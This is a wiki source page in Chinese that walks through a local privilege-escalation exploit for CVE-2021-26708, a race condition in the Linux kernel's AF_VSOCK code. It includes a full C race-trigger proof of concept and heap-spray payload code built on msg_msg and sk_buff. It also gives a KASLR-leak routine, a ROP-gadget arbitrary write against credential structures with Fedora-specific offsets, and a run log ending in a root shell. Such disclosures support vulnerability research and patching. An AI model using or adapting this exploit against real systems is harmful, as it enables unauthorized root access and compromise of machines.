View source for CVE-2021-26708 Linux kernel before 5.10.13 特權提升漏洞/ar

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== الضعف ==

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這些漏洞是由<code>net/vmw_vsock/af_vsock.c</code>中的錯誤鎖定引起的條件競爭。這些條件競爭是在2019年11月添加VSOCK多傳輸支持的提交中隱式引入的，並被合併到Linux內核5.5-rc1版本中。
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<code>CONFIG_VSOCKETS</code>和<code>CONFIG_VIRTIO_VSOCKETS</code>在所有主要的GNU/Linux發行版中都作為內核模塊提供。當你為AF_VSOCK域創建一個套接字時，這些易受攻擊的模塊會自動加載。
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<pre>
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
</pre>

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<code>AF_VSOCK</code>套接字的創建對非特權用戶來說是可用的，並不需要用戶名空間。
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==內存破壞==
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下面詳細介紹CVE-2021-26708的利用，利用了<code>vsock_stream_etssockopt()</code>中的條件競爭，復現需要兩個線程，第一個線程調用<code>setsockopt()</code>：
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<pre>
  setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));
</pre>



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第二個線程在<code>vsock_stream_etssockopt()</code>試圖獲取套接字鎖時改變虛擬套接字傳輸，通過重新連接虛擬套接字實現：
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<pre>
struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
</pre>


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為了處理虛擬套接字的<code>connect()</code>，內核執行調用<code>vsock_assign_transport()</code>的<code>vsock_stream_connect()</code>。這個函數包含如下代碼：
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<pre>
     if (vsk->transport) {
            if (vsk->transport == new_transport)
                return 0;

            /* transport->release() must be called with sock lock acquired.
             * This path can only be taken during vsock_stream_connect(),
             * where we have already held the sock lock.
             * In the other cases, this function is called on a new socket
             * which is not assigned to any transport.
             */
            vsk->transport->release(vsk);
            vsock_deassign_transport(vsk);
        }
</pre>

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<code>vsock_stream_connect()</code>包含套接字鎖，並行線程中的<code>vsock_stream_setsockopt()</code>也嘗試獲取它，構成條件競爭。因此，當用不同的<code>svm_cid</code>進行第二次<code>connect()</code>時，<code>vsock_deassign_transport()</code>函數被調用。該函數執行<code>virtio_transport_destruct()</code>，釋放<code>vsock_sock.trans</code>，<code>vsk->transport</code>被設置為NULL。當<code>vsock_stream_connect()</code>釋放套接字鎖時，<code>vsock_stream_setsockopt()</code>可以繼續執行。它調用<code>vsock_update_buffer_size()</code>，隨後調用<code>transport->notify_buffer_size()</code>。這裡transport包含一個來自本地變量的過時的值，與<code>vsk->transport</code>不匹配(本因被設為NULL)。
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內核執行<code>virtio_transport_notify_buffer_size()</code>，出現內存破壞：
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<pre>
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM, NULL);
}
</pre>

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這裡，vvs是指向內核內存的指針，它已經在<code>virtio_transport_destruct()</code>中被釋放。 <code>struct virtio_vsock_sock</code>的大小為64字節，位於kmalloc-64塊緩存中。 buf_alloc字段類型為u32，位於偏移量40。 <code>VIRTIO_VSOCK_MAX_BUF_SIZE是0xFFFFFFFFUL</code>。 *val的值由攻擊者控制，它的四個最不重要的字節被寫入釋放的內存中。
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==模糊測試==
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syzkaller fuzzer沒有辦法重現這個崩潰，於是我決定自行研究。但為什麼fuzzer會失敗呢？觀察<code>vsock_update_buffer_size()</code>有所發現：
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<pre>
 if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

</pre>

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只有當val與當前的buffer_size不同時，才會調用<code>notify_buffer_size()</code>，也就是說<code>setsockopt()</code>執行<code>SO_VM_SOCKETS_BUFFER_SIZE</code>時，每次調用的size參數都應該不同。於是我構建了相關代碼:
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<pre>
/*
 * AF_VSOCK vulnerability trigger.
 * It's a PoC just for fun.
 * Author: Alexander Popov <alex.popov@linux.com>.
 */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/socket.h>
#include <linux/vm_sockets.h>
#include <unistd.h>

#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define MAX_RACE_LAG_USEC 50

int vsock = -1;
int tfail = 0;
pthread_barrier_t barrier;

int thread_sync(long lag_nsec)
{
	int ret = -1;
	struct timespec ts0;
	struct timespec ts;
	long delta_nsec = 0;

	ret = pthread_barrier_wait(&barrier);
	if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
		perror("[-] pthread_barrier_wait");
		return EXIT_FAILURE;
	}

	ret = clock_gettime(CLOCK_MONOTONIC, &ts0);
	if (ret != 0) {
		perror("[-] clock_gettime");
		return EXIT_FAILURE;
	}

	while (delta_nsec < lag_nsec) {
		ret = clock_gettime(CLOCK_MONOTONIC, &ts);
		if (ret != 0) {
			perror("[-] clock_gettime");
			return EXIT_FAILURE;
		}

		delta_nsec = (ts.tv_sec - ts0.tv_sec) * 1000000000 +
						ts.tv_nsec - ts0.tv_nsec;
	}

	return EXIT_SUCCESS;
}

void *th_connect(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct sockaddr_vm addr = {
		.svm_family = AF_VSOCK,
	};

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	addr.svm_cid = VMADDR_CID_LOCAL;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	addr.svm_cid = VMADDR_CID_HYPERVISOR;
	connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

	return NULL;
}

void *th_setsockopt(void *arg)
{
	int ret = -1;
	long lag_nsec = *((long *)arg) * 1000;
	struct timespec tp;
	unsigned long size = 0;

	ret = thread_sync(lag_nsec);
	if (ret != EXIT_SUCCESS) {
		tfail++;
		return NULL;
	}

	clock_gettime(CLOCK_MONOTONIC, &tp);
	size = tp.tv_nsec;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
						&size, sizeof(unsigned long));

	return NULL;
}

int main(void)
{
	int ret = -1;
	unsigned long size = 0;
	long loop = 0;
	pthread_t th[2] = { 0 };

	vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
	if (vsock == -1)
		err_exit("[-] open vsock");

	printf("[+] AF_VSOCK socket is opened\n");

	size = 1;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MIN_SIZE,
						&size, sizeof(unsigned long));
	size = 0xfffffffffffffffdlu;
	setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_MAX_SIZE,
						&size, sizeof(unsigned long));

	ret = pthread_barrier_init(&barrier, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	for (loop = 0; loop < 30000; loop++) {
		long tmo1 = 0;
		long tmo2 = loop % MAX_RACE_LAG_USEC;

		printf("race loop %ld: tmo1 %ld, tmo2 %ld\n", loop, tmo1, tmo2);

		ret = pthread_create(&th[0], NULL, th_connect, &tmo1);
		if (ret != 0)
			err_exit("[-] pthread_create #0");

		ret = pthread_create(&th[1], NULL, th_setsockopt, &tmo2);
		if (ret != 0)
			err_exit("[-] pthread_create #1");

		ret = pthread_join(th[0], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #0");

		ret = pthread_join(th[1], NULL);
		if (ret != 0)
			err_exit("[-] pthread_join #1");

		if (tfail) {
			printf("[-] some thread got troubles\n");
			exit(EXIT_FAILURE);
		}
	}

	ret = close(vsock);
	if (ret)
		perror("[-] close");

	printf("[+] now see your warnings in the kernel log\n");
	return 0;
}
</pre>

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這裡的size值取自<code>clock_gettime()</code>返回的納秒數，每次都可能不同。原始的syzkaller不會這麼處理，因為在syzkaller生成 fuzzing輸入時，syscall參數的值被確定，執行時不會改變。
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==四字節的力量==
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這裡我選擇Fedora 33 Server作為研究目標，內核版本為5.10.11-200.fc33.x86_64，並決心繞過SMEP和SMAP。
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第一步，我開始研究穩定的堆噴射，該漏洞利用執行用戶空間的活動，使內核在釋放的virtio_vsock_sock的位置分配另一個64字節的對象。經過幾次實驗性嘗試後，確認釋放的virtio_vsock_sock被覆蓋，說明堆噴射是可行的。最終我找到了msgsnd() syscall。它在內核空間中創建了struct msg_msg，見pahole輸出：
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<pre>
struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};
</pre>

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前面是消息頭，後面是消息數據。如果用戶空間中的struct msgbuf有一個16字節的mtext，則會在kmalloc-64塊緩存中創建相應的msg_msg。 4字節的write-after-free會破壞偏移量40的void *security指針。 msg_msg.security字段指向由lsm_msg_msg_alloc()分配的內核數據，當收到 msg_msg時，就會被security_msg_msg_free()釋放。因此，破壞security指針的前半部分，就能獲得 arbitrary free。
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==內核信息洩露==
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這裡使用了[https://www.pwnwiki.org/index.php?title=CVE-2019-18683_Linux_kernel_through_5.3.8_%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E CVE-2019-18683]相同的技巧。虛擬套接字的第二個connect()調用<code>vsock_deassign_transport()</code>，將<code>vsk->transport</code>設置為NULL，使得<code>vsock_stream_setsockopt()</code>在內存崩潰後調用<code>virtio_transport_send_pkt_info()</code>，出現內核告警：
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<pre>
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...
</pre>
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通過gdb調試，發現RCX寄存器包含了釋放的virtio_vsock_sock的內核地址，RBX寄存器包含了vsock_sock的內核地址。
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==實現任意讀==
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===從 arbitrary free 到 use-after-free===
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從洩露的內核地址釋放一個對象
執行堆噴，用受控數據覆蓋該對象
使用損壞的對象進行權限升級
內核實現的System V消息有限制最大值DATALEN_MSG，即PAGE_SIZE減去sizeof(struct msg_msg))。如果你發送了更大的消息，剩餘的消息會被保存在消息段的列表中。 msg_msg中包含struct msg_msgseg *next用於指向第一個段，size_t m_ts用於存儲大小。當進行覆蓋操作時，就可以把受控的值放在msg_msg.m_ts和msg_msg.next中：
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Payload:
<pre>
    #define PAYLOAD_SZ 40 
    void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
    {
        struct msg_msg *msg_ptr;

        xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;

        /* Don't touch the second part to avoid breaking page fault delivery */
        memset(spray_data, 0xa5, PAGE_SIZE * 4);

        printf("[+] adapt the msg_msg spraying payload:\n");
        msg_ptr = (struct msg_msg *)xattr_addr;
        msg_ptr->m_type = 0x1337;
        msg_ptr->m_ts = ARB_READ_SZ;
        msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
        printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
               msg_ptr,
               msg_ptr->m_type, &(msg_ptr->m_type),
               msg_ptr->m_ts, &(msg_ptr->m_ts),
               msg_ptr->next, &(msg_ptr->next));
    }
</pre>
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但是如何使用msg_msg讀取內核數據呢？通過閱讀msgrcv()系統調用文檔，我找到了好解決方案，使用msgrcv()和MSG標誌：
</div>
<pre>
MSG_COPY (since Linux 3.8)
        Nondestructively fetch a copy of the message at the ordinal position  in  the  queue
        specified by msgtyp (messages are considered to be numbered starting at 0).
</pre>
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這個標誌使內核將消息數據複製到用戶空間，不從消息隊列中刪除。如果內核有CONFIG_CHECKPOINT_RESTORE=y，則MSG是可用的，在Fedora Server適用。
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===任意讀的步驟===
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準備工作：
使用sched_getaffinity()和CPU_COUNT()計算可用的CPU數量（該漏洞至少需要兩個）;
打開/dev/kmsg進行解析;
mmap()將spray_data內存區域配置userfaultfd()作為最後一部分;
啟動一個單獨的pthread來處理userfaultfd()事件;
啟動127個threads用於msg_msg上的setxattr()&userfaultfd()堆噴射，並將它們掛在thread_barrier上;
獲取原始msg_msg的內核地址:
在虛擬套接字上進行條件競爭;
在第二個connect()後，在忙循環中等待35微秒;
調用msgsnd()來建立一個單獨的消息隊列；在內存破壞後，msg_msg對像被放置在virtio_vsock_sock位置;
解析內核日誌，從內核警告（RCX寄存器）中保存msg_msg的內核地址;
同時，從RBX寄存器中保存vsock_sock的內核地址;
使用損壞的 msg_msg對原始msg_msg執行任意釋放:
使用原始 msg_msg地址的4個字節作為 SO_VM_SOCKETS_BUFFER_SIZE，用於實現內存破壞；
在虛擬套接字上進行條件競爭；
在第二個connect()之後馬上調用msgsnd()；msg_msg被放置在virtio_vsock_sock的位置，實現破壞；
現在被破壞的msg_msg的security指針存儲原始msg_msg的地址(來自步驟2)；
</div>

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如果在處理 msgsnd() 的過程中發生了來自 setsockopt()線程的 msg_msg.security內存損壞，進而SELinux權限檢查失敗；
在這種情況下，msgsnd()返回-1，損壞的msg_msg被銷毀；釋放msg_msg.security可以釋放原始msg_msg；
用一個可控的payload 覆蓋原始msg_msg：
msgsnd()失敗後，漏洞就會調用pthread_barrier_wait()，調用127個用於堆噴射的pthreads；
這些pthreads執行setxattr()的payload；
原始msg_msg被可控的數據覆蓋，msg_msg.next指針存儲vsock_sock對象的地址；
</div>

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通過從存儲被覆蓋的 msg_msg的消息隊列中接收消息，將vsock_sock內核對象的內容讀到用戶空間：
</div>
<pre>
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
</pre>

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==尋找攻擊目標==
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以下是我找到的點：
1.專用的塊緩存，如PINGv6和sock_inode_cache有很多指向對象的指針
2.struct mem_cgroup *sk_memcg指針在vsock_sock.sk偏移量664處。 mem_cgroup結構是在kmalloc-4k塊緩存中分配的。
3.const struct cred *owner指針在vsock_sock.sk偏移量840處，存儲了可以覆蓋進行權限升級的憑證的地址。
4.void (*sk_write_space)(struct sock *)函數指針在vsock_sock.sk偏移量688處，被設置為sock_def_write_space()內核函數的地址。它可以用來計算KASLR偏移量。
</div>

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下面是該漏洞如何從內存中提取這些指針:
</div>

<pre>
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET    840
#define OWNER_CRED_RD_LOCATION    (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET    688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET) 
/*
 * From Linux kernel 5.10.11-200.fc33.x86_64:
 *   function pointer for calculating KASLR secret
 */
#define SOCK_DEF_WRITE_SPACE    0xffffffff819851b0lu 
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;

/* ... */

    sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
            sk_memcg, SK_MEMCG_RD_LOCATION);

    owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
            owner_cred, OWNER_CRED_RD_LOCATION);

    sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
    printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
            sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);

    kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
    printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==在 sk_buff 上實現 Use-after-free==
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
Linux內核中與網絡相關的緩衝區用struct sk_buff表示，這個對像中有skb_shared_info與destructor_arg，可以用於控制流劫持。網絡數據和skb_shared_info被放置在由sk_buff.head指向的同一個內核內存塊中。因此，在用戶空間中創建一個2800字節的網絡數據包會使skb_shared_info被分配到kmalloc-4k塊緩存中，mem_cgroup對像也是如此。
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
我構建了以下步驟：
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
1.使用socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)創建一個客戶端套接字和32個服務器套接字
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
2.在用戶空間中準備一個2800字節的緩衝區，並用0x42對其memset()
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
3.用sendto()將這個緩衝區從客戶端套接字發送到每個服務器套接字，用於在kmalloc-4k中創建sk_buff對象。在每個可用的CPU上使用`sched_setaffinity()
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
4.對vsock_sock執行任意讀取過程
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
5.計算可能的sk_buff內核地址為sk_memcg加4096(kmalloc-4k的下一個元素)
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
6.對這個可能的sk_buff地址執行任意讀
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
7.如果在網絡數據的位置找到0x42424242424242lu，則找到真正的sk_buff，進入步驟8。否則，在可能的sk_buff地址上加4096，轉到步驟6
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
8.sk_buff上執行32個pthreads的setxattr()&userfaultfd()堆噴射，並把它們掛在pthread_barrier上
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
9.對sk_buff內核地址進行任意釋放
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
10.調用pthread_barrier_wait()，執行32個setxattr()覆蓋skb_shared_info的堆噴pthreads
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
11.使用recv()接收服務器套接字的網絡消息。
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==通過skb_shared_info 進行任意寫==
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<div lang="chinese" dir="ltr" class="mw-content-ltr">
以下是覆蓋sk_buff對象的有效payload：
</div>

<pre>
#define SKB_SIZE        4096
#define SKB_SHINFO_OFFSET    3776
#define MY_UINFO_OFFSET        256
#define SKBTX_DEV_ZEROCOPY    (1 << 3) 
void prepare_xattr_vs_skb_spray(void)
{
    struct skb_shared_info *info = NULL;

    xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0x0, PAGE_SIZE * 4);

    info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
    info->tx_flags = SKBTX_DEV_ZEROCOPY;
    info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;

    uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
skb_shared_info駐留在噴射數據中，正好在偏移量SKB_SHINFO_OFFSET處，即3776字節。 skb_shared_info.destructor_arg指針存儲了struct ubuf_info的地址。因為被攻擊的sk_buff的內核地址是已知的，所以能在網絡緩衝區的MY_UINFO_OFFSET處創建了一個假的ubuf_info。下面是有效payload的佈局：
</div>

[[File:T0185ccbf9f025c74da.png  | 600px]]

<div lang="chinese" dir="ltr" class="mw-content-ltr">
下面講講destructor_arg 回調:
</div>
<pre>
 /*
     * A single ROP gadget for arbitrary write:
     *   mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
     * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
     */
    uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
    uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
    uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
由於在vmlinuz-5.10.11-200.fc33.x86_64中找不到一個能滿足我需求的gadget，所以我自己進行了研究構造。
</div>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
callback函數指針存儲一個ROP gadget 地址，RDI存儲callback函數的第一個參數，也就是ubuf_info本身的地址，RDI + 8指向ubuf_info.desc。 gadget 將ubuf_info.desc移動到RDX。現在RDX包含有效用戶ID和組ID的地址減一個字節。這個字節很重要：當gadget從 RSI向 RDX指向的內存中寫入消息1時，有效的 uid和 gid將被零覆蓋。重複同樣的過程，直到權限升級到root。整個過程輸出流如下：
</div>
<pre>
[a13x@localhost ~]$ ./vsock_pwn

=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================

[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready

[+] stage I: collect good msg_msg locations
[+] go racing, show wins: 
    save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
    save msg_msg ffff9125c25a4640 in msq 12 in slot 1
    save msg_msg ffff9125c25a4780 in msq 22 in slot 2
    save msg_msg ffff9125c3668a40 in msq 78 in slot 3

[+] stage II: arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4d00
    kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins: 

[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000

[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
    kaddr for arb free: ffff9125c25a4640
    kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
    msg_ptr 0x7f0d91120fd8
    m_type 1337 at 0x7f0d91120fe8
    m_ts 6096 at 0x7f0d91120ff0
    msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11 
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb

[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
    start at 0x7f0d91120004
    skb_shared_info at 0x7f0d91120ec4
    tx_flags 0x8
    destructor_arg 0xffff9125c42fa100
    callback 0xffffffffab64f6d4
    desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15 

[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30 

[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
</pre>

<div lang="chinese" dir="ltr" class="mw-content-ltr">
==視頻==
</div>
<youtube>https://www.youtube.com/watch?v=EC8PFOYOUgU</youtube>


<div lang="chinese" dir="ltr" class="mw-content-ltr">
==參考==
</div>
https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html